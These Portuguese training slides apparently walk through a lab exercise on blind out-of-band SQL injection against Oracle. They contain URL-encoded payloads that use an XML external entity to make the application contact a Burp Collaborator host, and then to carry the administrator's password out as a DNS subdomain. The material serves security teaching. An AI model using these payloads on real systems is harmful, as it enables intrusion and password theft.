SQL Injection

Blind Out-Of-Band (OOB) SQL Injection

Blind SQLi - Extração de Informação OOB

Vamos começar por fazer uma injeção SQL para obter uma interação, tal como foi feito no exercício anterior

SELECT trackid FROM TrackedUsers WHERE tracking_id = '$tracking_cookie';

Injeção:
'UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTIT
Y+%25+remote+SYSTEM+"http%3a//BURP_COLAB.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--

Query: SELECT trackid FROM TrackedUsers WHERE tracking_id =
''UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTIT
Y+%25+remote+SYSTEM+"http%3a//BURP_COLAB.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--**';**

Resultado: A aplicação faz uma requisição DNS para o servidor por nós controlado (Burp Collaborator)"

Blind SQLi - Extração de Informação OOB

Agora que já verificamos a vulnerabilidade através da interação, temos que adaptar a nossa injeção para extrair a password do usuário com username “administrator”. Assim sendo, o payload OOB ficará agora da seguinte forma:

```
SELECT extractvalue(
        xmltype(‘ <?xml version=”1.0” encoding=”UTF-8”?>
                <! DOCTYPE root [<!ENTITY % remote SYSTEM “http://” ||QUERY_AQUI ||’.BURP_COLAB/”> %remote;]>
        ‘),
‘/l’) FROM DUAL
```

SELECT password FROM users WHERE username=’administrator’

Blind SQLi - Extração de Informação OOB

Agora que já verificamos a vulnerabilidade através da interação, temos que adaptar a nossa injeção para extrair a password do usuário com username “administrator”.

SELECT trackid FROM TrackedUsers WHERE tracking_id = ‘$tracking_cookie’;

Injeção:
‘UNION+SELECT+EXTRACTVALUE(xmltype(‘<%3fxml+version%3d”1.0”+encoding%3d”UTF-8”%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+”http%3a//’||(SELECT+password+FROM+users+WHERE+username=’administrator’)||’.BURP_COLAB.burpcollaborator.net/”>+%25remote%3b]>’),’/l’)+FROM+dual--

Query: SELECT trackid FROM TrackedUsers WHERE tracking_id =
‘‘UNION+SELECT+EXTRACTVALUE(xmltype(‘<%3fxml+version%3d”1.0”+encoding%3d”UTF-8”%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+”http%3a//’||(SELECT+password+FROM+users+WHERE+username=’administrator’)||’.BURP_COLAB.burpcollaborator.net/”>+%25remote%3b]>’),’/l’)+FROM+dual--**’;**

Resultado: A aplicação faz uma requisição DNS para o servidor por nós controlado (Burp Collaborator), enviando a password do usuário como subdominio do URL do Burp Collaborator.